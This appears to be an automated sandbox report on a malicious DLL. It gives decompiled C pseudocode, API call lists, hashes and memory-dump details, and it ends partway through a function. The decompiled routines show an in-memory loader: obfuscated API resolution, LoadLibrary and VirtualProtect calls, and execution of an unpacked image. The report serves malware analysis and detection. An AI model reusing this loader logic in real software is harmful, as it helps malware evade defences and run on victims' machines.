Opcode ID: de6bd54d0bde4edcf33bf8a3c1a392596f12a90c3de1003d58934f096289af7d
Instruction ID: 0f8f85a5925c9cc17d95d1d957175b22eeb6d2cfcf5827b1aa2e72342c82d101
Opcode Fuzzy Hash: de6bd54d0bde4edcf33bf8a3c1a392596f12a90c3de1003d58934f096289af7d
Instruction Fuzzy Hash: 3C219171A0020ADFCB14DF95C481EAAF7F5FF08319F104959D106D7A84E3B8A6A9DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E1414E8, Relevance: 4.6, APIs: 3, Instructions: 60
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6E1414E8() {
				char _v28;
				void _v44;
				char _v48;
				void* _v52;
				long _t23;
				int _t24;
				void* _t28;
				intOrPtr* _t30;
				signed int _t34;
				intOrPtr _t36;

				_push(0);
				_push(0x6e1441c4);
				_push(1);
				_push( *0x6e1441d0 + 0x6e145089);
				 *0x6e1441c0 = 0xc;
				 *0x6e1441c8 = 0; // executed
				L6E141DA8(); // executed
				_t34 = 6;
				memset( &_v44, 0, _t34 << 2);
				if(E6E141697( &_v44,  &_v28,  *0x6e1441cc ^ 0xfd7cd1cf) == 0) {
					_t23 = 0xb;
					L7:
					ExitThread(_t23);
				}
				_t24 = lstrlenW( *0x6e1441b8);
				_t7 = _t24 + 2; // 0x2
				_t10 = _t24 + _t7 + 8; // 0xa
				_t28 = E6E141144(_t36, _t10,  &_v48,  &_v52); // executed
				if(_t28 == 0) {
					_t30 = _v52;
					 *_t30 = 0;
					if( *0x6e1441b8 == 0) {
						 *((short*)(_t30 + 4)) = 0;
					} else {
						E6E142118(_t40, _t30 + 4);
					}
				}
				_t23 = E6E141444(_v44); // executed
				goto L7;
			}

0x6e1414fa
0x6e1414fb
0x6e141500
0x6e141508
0x6e141509
0x6e141513
0x6e141519
0x6e141522
0x6e141527
0x6e141545
0x6e14159a
0x6e14159b
0x6e14159c
0x6e14159c
0x6e14154d
0x6e141553
0x6e141561
0x6e141565
0x6e14156c
0x6e141574
0x6e141578
0x6e14157a
0x6e141589
0x6e14157c
0x6e141582
0x6e141582
0x6e14157a
0x6e141591
0x00000000

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(?,00000001,6E1441C4,00000000), ref: 6E141519
lstrlenW.KERNEL32(?,?,?), ref: 6E14154D

Part of subcall function 6E141144: GetSystemTimeAsFileTime.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,6E14156A,0000000A,?,?), ref: 6E141151
Part of subcall function 6E141144: _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 6E141167
Part of subcall function 6E141144: _snwprintf.NTDLL ref: 6E14118C
Part of subcall function 6E141144: CreateFileMappingW.KERNELBASE(000000FF,6E1441C0,00000004,00000000,?,?), ref: 6E1411B1
Part of subcall function 6E141144: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6E14156A,0000000A,?), ref: 6E1411C8
Part of subcall function 6E141144: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6E14156A,0000000A), ref: 6E1411FD

ExitThread.KERNEL32 ref: 6E14159C

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: DescriptorFileSecurityTime$CloseConvertCreateErrorExitHandleLastMappingStringSystemThread_aulldiv_snwprintflstrlen
String ID:
API String ID: 4209869662-0
Opcode ID: 899ea4902883f9d77a76199ee3061cd8111235625eb9b6dc2cacbe6fb17cb48c
Instruction ID: 382869729516e804b5be27507af9d6e1dc69a50684a41418d2783f9f8eb2454c
Opcode Fuzzy Hash: 899ea4902883f9d77a76199ee3061cd8111235625eb9b6dc2cacbe6fb17cb48c
Instruction Fuzzy Hash: 8D1190F2204605EFDB01EFA4C848EDB7BECAB56B04F014A16F515DB340D730E599AB92

Uniqueness

Uniqueness Score: -1.00%

Function 6E141ADB, Relevance: 2.5, APIs: 2, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E6E141ADB(void* __ecx) {
				void* _v8;
				char _v12;
				char* _t18;
				char* _t25;
				char* _t29;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t25 = 0;
				if(E6E141697( &_v8,  &_v12,  *0x6e1441cc ^ 0x196db149) != 0) {
					if(_v8 == 0) {
						_t29 = 0;
					} else {
						_t29 = E6E142087(_t22, _v8,  *0x6e1441cc ^ 0x6e49bbff);
					}
					if(_t29 != 0) {
						_v12 = E6E141E8A(_t22) & 0x0000ffff;
						_t18 = StrStrIA(_t29,  &_v12); // executed
						if(_t18 != 0) {
							_t25 = 0x657;
						}
					}
					HeapFree( *0x6e144190, 0, _v8);
				}
				return _t25;
			}

0x6e141adb
0x6e141ade
0x6e141adf
0x6e141af5
0x6e141afe
0x6e141b03
0x6e141b1c
0x6e141b05
0x6e141b18
0x6e141b18
0x6e141b20
0x6e141b2a
0x6e141b32
0x6e141b3a
0x6e141b3c
0x6e141b3c
0x6e141b3a
0x6e141b4c
0x6e141b4c
0x6e141b57

APIs

StrStrIA.KERNELBASE(00000000,6E141CE6,?,6E141CE6,?,00000000,00000000,?,?,?,6E141CE6), ref: 6E141B32
HeapFree.KERNEL32(00000000,?,?,6E141CE6,?,00000000,00000000,?,?,?,6E141CE6), ref: 6E141B4C

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d66728c74d1a71edaada4523b599dc5566a979693a7b95e7b45d9ba7be2ecc3f
Instruction ID: be61f0431932b5c75761b7cfcdacea50e35594da74ed842f00c94a157ad6fea1
Opcode Fuzzy Hash: d66728c74d1a71edaada4523b599dc5566a979693a7b95e7b45d9ba7be2ecc3f
Instruction Fuzzy Hash: EA014F76B00515EBDB02DFE5CC04EDF7BBDEB95640F218162A900E3344EB31EA55BAA4

Uniqueness

Uniqueness Score: -1.00%

Function 6E1817C5, Relevance: 1.8, APIs: 1, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: Process$CodeCurrentFeaturePagePresentProcessorTerminateValid
String ID:
API String ID: 2794151160-0
Opcode ID: 3e4f5ab6b0e34a2c9ce44579248b30bf68cbf2b2bb70929207c2907b2189e46f
Instruction ID: b9b75529acdae2f0f577f246b01e242218113ddb75829e518040f0eef7081ba7
Opcode Fuzzy Hash: 3e4f5ab6b0e34a2c9ce44579248b30bf68cbf2b2bb70929207c2907b2189e46f
Instruction Fuzzy Hash: F891D272B002169BDB60DF94CC51BEB73B9EF29344F5004A9ED2997244E7319AC9DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E183D8A, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 6E17FB55: RtlAllocateHeap.NTDLL(00000008,6E1673C4,00000000), ref: 6E17FB96

_free.LIBCMT ref: 6E183DF6

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 3d386286e3168ca0f4cfdf0954778653b59a02e8dfd1a61260543b773b1e8d2f
Instruction ID: f1f98b621eecb288fcf525a61e40316607ce4450571a96ff856b297ab967c6ec
Opcode Fuzzy Hash: 3d386286e3168ca0f4cfdf0954778653b59a02e8dfd1a61260543b773b1e8d2f
Instruction Fuzzy Hash: F2012B721003056BE721CE99CC9598BFBEDFB85330F75061DE59483280EB3068468B64

Uniqueness

Uniqueness Score: -1.00%

Function 6E17FB55, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,6E1673C4,00000000), ref: 6E17FB96

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ad8ce05ef1f8f7d7790f164596722bb4fdd0781a518e46287fac34fa643c56e0
Instruction ID: 7fc076d66d567f2e9d9bc7eeece12fee3e4bfb0161ac2f4cdb113b38556f78b6
Opcode Fuzzy Hash: ad8ce05ef1f8f7d7790f164596722bb4fdd0781a518e46287fac34fa643c56e0
Instruction Fuzzy Hash: D0F096316405296AEE715EF68824E8B3F5DBF9AF71B318512D834A7144CB30D984A6E1

Uniqueness

Uniqueness Score: -1.00%

Function 6E1813DA, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 6E17FB55: RtlAllocateHeap.NTDLL(00000008,6E1673C4,00000000), ref: 6E17FB96

_free.LIBCMT ref: 6E1813FA

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: d48916c4652f2fac2dc31da548d56929d1858106ee56d51a6abf9b617d990fea
Instruction ID: e7f51ef3c048e8ce1e6ef59a97067f12b8de4eead3fc9b5dea3ce5be7f7bc8d3
Opcode Fuzzy Hash: d48916c4652f2fac2dc31da548d56929d1858106ee56d51a6abf9b617d990fea
Instruction Fuzzy Hash: DDF03C72A00609AFC710DFA8C441B9ABBF8FB48714F204266ED28E7340EB71A9508BD1

Uniqueness

Uniqueness Score: -1.00%

Function 6E183A21, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(00000055,?,00000000,6E18BCFB,?,00000055,00000050), ref: 6E183A6B

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: DefaultUser
String ID:
API String ID: 3358694519-0
Opcode ID: e99ba5ff2582903fde542237882a8e3349f0fd6e4da946c06924594b364236bb
Instruction ID: 72102fec3eca9980f863d3d95ab87263f0223e0a7e7114dd19b59e5522be47c9
Opcode Fuzzy Hash: e99ba5ff2582903fde542237882a8e3349f0fd6e4da946c06924594b364236bb
Instruction Fuzzy Hash: 41F09071640108BBCF11AFA4CD48EAF7F58EB05710F018065F8155A650DA319E92BE84

Uniqueness

Uniqueness Score: -1.00%

Function 6E17FBEC, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0000060B), ref: 6E17FC1E

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 38ef8e168c1cac19d3710a86a3531b21124746b314de5b5e4f3493d2f530192c
Instruction ID: 50280f57eb1e097fcc9d596ae7c2b256a6f65ef04f37d254cd209c3c23de559a
Opcode Fuzzy Hash: 38ef8e168c1cac19d3710a86a3531b21124746b314de5b5e4f3493d2f530192c
Instruction Fuzzy Hash: 2CE0E5351081226AEE311AEA4C04F877A4CEF6BEB0F720920DD3996184EB20C9C1B1E1

Uniqueness

Uniqueness Score: -1.00%

Function 6E173DC7, Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

dllmain_crt_process_detach.LIBCMT ref: 6E173E10

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: dllmain_crt_process_detach
String ID:
API String ID: 4009468596-0
Opcode ID: b6a6c12ac98cd83644632129f58079b0c8486fb6d87a70357498725b823b3839
Instruction ID: aac1da2a101447890f0e9ec3f539b8e8b184d074499cb270344a898ee5428b87
Opcode Fuzzy Hash: b6a6c12ac98cd83644632129f58079b0c8486fb6d87a70357498725b823b3839
Instruction Fuzzy Hash: 07D05E3200824BDBCF219EE8D80DBFE7B98EB20A90F504415B82441090CB75D6F1F650

Uniqueness

Uniqueness Score: -1.00%

Function 6E141444, Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6E141444(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x6e1441cc;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6e1441cc - 0x63698bc4 &  !( *0x6e1441cc - 0x63698bc4);
				_t18 = E6E141060( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6e1441cc - 0x63698bc4 &  !( *0x6e1441cc - 0x63698bc4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6e1441cc - 0x63698bc4 &  !( *0x6e1441cc - 0x63698bc4), _t16 + 0x9c96647d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E6E141A5A(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E6E141F7C(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E6E14126D(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E6E14142F(_t42);
					L8:
					return _t29;
				}
			}

0x6e14144c
0x6e14144e
0x6e14146a
0x6e14147b
0x6e141482
0x6e1414e0
0x00000000
0x6e141484
0x6e141484
0x6e14148e
0x6e141492
0x6e141497
0x6e14149a
0x6e14149f
0x6e1414a3
0x6e1414a8
0x6e1414ad
0x6e1414b1
0x6e1414b6
0x6e1414b7
0x6e1414bb
0x6e1414c0
0x6e1414c8
0x6e1414c8
0x6e1414c0
0x6e1414b1
0x6e1414a3
0x6e1414ca
0x6e1414d3
0x6e1414d7
0x6e1414e1
0x6e1414e7
0x6e1414e7

APIs

Part of subcall function 6E141060: GetModuleHandleA.KERNEL32(?,00000020,00000002,?,?,?,?,6E141480,?,?,?,?,00000002,00000000,?,?), ref: 6E141084
Part of subcall function 6E141060: GetProcAddress.KERNEL32(00000000,?), ref: 6E1410A6
Part of subcall function 6E141060: GetProcAddress.KERNEL32(00000000,?), ref: 6E1410BC
Part of subcall function 6E141060: GetProcAddress.KERNEL32(00000000,?), ref: 6E1410D2
Part of subcall function 6E141060: GetProcAddress.KERNEL32(00000000,?), ref: 6E1410E8
Part of subcall function 6E141060: GetProcAddress.KERNEL32(00000000,?), ref: 6E1410FE

Part of subcall function 6E141A5A: memcpy.NTDLL(00000000,00000002,6E14148E,?,?,?,?,?,6E14148E,?,?,?,?,?,?,00000002), ref: 6E141A87
Part of subcall function 6E141A5A: memcpy.NTDLL(00000000,00000002,?,00000002,00000000,?,?), ref: 6E141ABA

Part of subcall function 6E141F7C: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 6E141FB4

Part of subcall function 6E14126D: VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,00000002), ref: 6E1412A6
Part of subcall function 6E14126D: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 6E14131B
Part of subcall function 6E14126D: GetLastError.KERNEL32 ref: 6E141321

GetLastError.KERNEL32(?,?), ref: 6E1414C2

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLastProtectVirtualmemcpy$HandleLibraryLoadModule
String ID:
API String ID: 2673762927-0
Opcode ID: 8d68ff367a418ffbd4b9a9907806b55c67f54b4728ca1cd89b79b174a911776f
Instruction ID: 2406cb438d4d759e68585e1795b7b53840f36d3a4c466c9aeedb3e61beb63bd0
Opcode Fuzzy Hash: 8d68ff367a418ffbd4b9a9907806b55c67f54b4728ca1cd89b79b174a911776f
Instruction Fuzzy Hash: 61115B76300709EBD711DBE98C80DDB73FCAF482047184558E909D7340FBA0ED5A97A0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E18CB2F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,6E18CE4E,?,00000000), ref: 6E18CBC8
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,6E18CE4E,?,00000000), ref: 6E18CBF1
GetACP.KERNEL32(?,?,6E18CE4E,?,00000000), ref: 6E18CC06

Strings

ACP, xrefs: 6E18CB4D
OCP, xrefs: 6E18CB83

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: acd6b62b5a24563dd5b66e84c3a39a9b75d0dc8c7937344c2c88cce817b3c2f5
Instruction ID: 207279bf8630ff93d1fec9fbe12d5cedcce5a8cca08e088aafeca6982acdefea
Opcode Fuzzy Hash: acd6b62b5a24563dd5b66e84c3a39a9b75d0dc8c7937344c2c88cce817b3c2f5
Instruction Fuzzy Hash: 8D21F732754901ABD7508FD9C900A8773AAFB51BA0B768264E819DF104E732CDC0EF92

Uniqueness

Uniqueness Score: -1.00%

Function 6E18CD03, Relevance: 7.7, APIs: 5, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(0000001C,00000000,6E179156,00000000,00000000,?,6E1827FC,00000000,00000000,?,?,0000001C), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,00000000,?,?,0000001C), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA65
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,00000000,?,?,0000001C), ref: 6E17FA72

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 6E18CE0F
IsValidCodePage.KERNEL32(00000000), ref: 6E18CE6A
IsValidLocale.KERNEL32(?,00000001), ref: 6E18CE79
GetLocaleInfoW.KERNEL32(?,00001001,6E18196E,00000040,?,6E181A8E,00000055,00000000,?,?,00000055,00000000), ref: 6E18CEC1
GetLocaleInfoW.KERNEL32(?,00001002,6E1819EE,00000040), ref: 6E18CEE0

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: a37c6e5ca17506f518f28c6b69435ff74ac9cb913f7ade88ada707edb972cd29
Instruction ID: dcb246bd581ce786c7ab3fad7c934056c2cc9b96e1772605bb3e7bce1bcedaa7
Opcode Fuzzy Hash: a37c6e5ca17506f518f28c6b69435ff74ac9cb913f7ade88ada707edb972cd29
Instruction Fuzzy Hash: 1D517F72A006069FEB10DFE5CC54AEB77BDBF19700F154665E520EB140E7709984AFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E141F10, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E141F10() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;

				_t8 =  *0x6e1441b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x6e1441bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 <= 5) {
					_t4 = 0x32;
					return _t4;
				} else {
					 *0x6e1441ac = _t3;
					_t5 = GetCurrentProcessId();
					 *0x6e1441a8 = _t5;
					 *0x6e1441b0 = _t8;
					_t6 = OpenProcess(0x10047a, 0, _t5);
					 *0x6e1441a4 = _t6;
					if(_t6 == 0) {
						 *0x6e1441a4 =  *0x6e1441a4 | 0xffffffff;
					}
					return 0;
				}
			}

0x6e141f11
0x6e141f1f
0x6e141f27
0x6e141f2c
0x6e141f76
0x6e141f76
0x6e141f2e
0x6e141f36
0x6e141f72
0x6e141f74
0x6e141f38
0x6e141f38
0x6e141f3d
0x6e141f4b
0x6e141f50
0x6e141f56
0x6e141f5e
0x6e141f63
0x6e141f65
0x6e141f65
0x6e141f6f
0x6e141f6f

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6E141C8E,74B063F0,00000000), ref: 6E141F1F
GetVersion.KERNEL32 ref: 6E141F2E
GetCurrentProcessId.KERNEL32 ref: 6E141F3D
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6E141F56

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: b6a4b5ecf8c60d71db6491dadce3f92d9ddbaa599f6218f5bbb4e5aa93539805
Instruction ID: fd766fd9840b449772b1cec5dd751117b23653339599e1a6c5cf0954017cddc4
Opcode Fuzzy Hash: b6a4b5ecf8c60d71db6491dadce3f92d9ddbaa599f6218f5bbb4e5aa93539805
Instruction Fuzzy Hash: 9FF01DB1644A50EFEF51BFA8A8097893BA4B716B51F108119F155DA3C0D3706447BB54

Uniqueness

Uniqueness Score: -1.00%

Function 6E142485, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E142485(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x6e1441f8;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x6e144240 = 1;
										__eflags =  *0x6e144240;
										if( *0x6e144240 != 0) {
											goto L60;
										}
										_t84 =  *0x6e1441f8;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x6e144240 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x6e1441f8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x6e144200 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x6e1441fc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x6e144200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6e144200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x6e144240 = 1;
							__eflags =  *0x6e144240;
							if( *0x6e144240 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x6e144200 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x6e144200 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x6e144240 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x6e144200 + _t100 * 4;
									_t100 = _t100 + 1;
